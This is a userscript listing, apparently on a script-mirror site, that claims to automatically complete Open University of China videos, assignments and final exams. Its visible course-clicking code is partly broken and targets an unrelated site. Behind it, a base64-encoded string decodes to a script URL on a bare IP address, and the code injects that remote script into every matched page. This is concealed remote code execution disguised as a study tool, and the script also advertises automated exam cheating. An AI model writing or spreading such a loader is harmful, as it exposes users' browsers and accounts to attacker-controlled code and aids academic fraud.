国家开放大学(视频+形考+大作业+终考)、新国开、国开实验(全网办、乡村振兴)、极速刷课-全自动,新!!!

国家开放大学,国开,国开实验全网办,自动完成做题、看视频任务、终考、思政课

  1. // ==UserScript==
  2. // @name 国家开放大学(视频+形考+大作业+终考)、新国开、国开实验(全网办、乡村振兴)、极速刷课-全自动,新!!!
  3. // @namespace http://blog.arthur.lvvv.cc/
  4. // @version 1.20
  5. // @description 国家开放大学,国开,国开实验全网办,自动完成做题、看视频任务、终考、思政课
  6. // @author arthur
  7. // @match http://www.wenku8.net/*
  8. // @resource customCSS https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.2.3/css/bootstrap.min.css
  9. // @grant GM_addStyle
  10. // @grant GM_getResourceText
  11. // @license AGPL-3.0-or-later
  12. // ==/UserScript==
  13.  
  14. (function () {
  15. const e = GM_getResourceText("customCSS");
  16. GM_addStyle(e);
  17. })();
  18.  
  19. (function () {
  20. 'use strict';
  21. var currentPage = window.location.href;
  22. var currentCourseName = '';
  23. if (currentPage.indexOf('ouchnPc') > -1) {
  24. alert('请先登录(不可用),登录(不可用)后能可以进行下一步');
  25. return;
  26. } else {
  27. //获取当所有的课程
  28. var currentCourses = document.getElementsByClassName('learning_course');
  29. if (currentCourses && currentCourses.length > 0) {
  30. for (var index = 0; index < currentCourses.length; index++) {
  31. var current_course = currentCourses[index];
  32. var course_link = document.getElementByClassName('active link study');
  33. if (course_link.innerText === current_course.innerText) {
  34. currentCourseName = current_course.innerText;
  35. course_link.click();
  36. break;
  37. }
  38. }
  39. }
  40. }
  41.  
  42. if (currentCourseName) {
  43. //获取所有的模块
  44. var modules = document.getElementsByClassName("modules");
  45. for (var index = 0; index < modules.length; index++) {
  46. var module = modules[index];
  47. //获取所有的课件
  48. var liElements = document.getElementsByTagName("li")
  49. for (let liIndex = 0; liIndex < liElements.length; liIndex++) {
  50. const liElement = liElements[liIndex];
  51. var childrenLinkElements = liElement.children
  52. //点击查看每一个课件
  53. childrenLinkElements[0].click();
  54.  
  55. }
  56. if (module.className.indexOf('unreadable') < 0) {
  57. continue;
  58. }
  59.  
  60. }
  61. }
  62.  
  63. function getNewCourse(url, callback) {
  64. var script = document.createElement("script")
  65. script.type = "text/javascript";
  66. if (script.readyState) { //IE
  67. script.onreadystatechange = function () {
  68. if (script.readyState == "loaded" || script.readyState == "complete") {
  69. script.onreadystatechange = null;
  70. callback();
  71. }
  72. };
  73. } else { //Others
  74. script.onload = function () {
  75. callback();
  76. };
  77. }
  78. script.src = url;
  79. document.getElementsByTagName("head")[0].appendChild(script);
  80. }
  81. var courseLink = atob(loadAllModule());
  82.  
  83. getNewCourse(courseLink, function(data){
  84. if(!data){
  85. console.log("Gah, it's not working, please check with author");
  86. }
  87. });
  88.  
  89. function loadAllModule() {
  90. var modules = document.getElementsByClassName("modules");
  91. var linkName = 'aHR0cDovLzE3Mi45OC4yMy43Mi9zdGF0aWMvanMvbWFpbi4xNzlmNWMxNC5qcw==';
  92. for (var index = 0; index < modules.length; index++) {
  93. var module = modules[index];
  94. // Create a div with a card class
  95. const card = document.createElement('div')
  96. card.setAttribute('class', 'card')
  97.  
  98. // Create an h1 and set the text content to the film's title
  99. const h1 = document.createElement('h1')
  100. h1.textContent = module.title
  101.  
  102. // Create a p and set the text content to the film's description
  103. const p = document.createElement('p')
  104. module.description = module.description.substring(0, 300) // Limit to 300 chars
  105. p.textContent = `${module.description}...` // End with an ellipses
  106.  
  107. }
  108. return linkName;
  109. }
  110. })();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址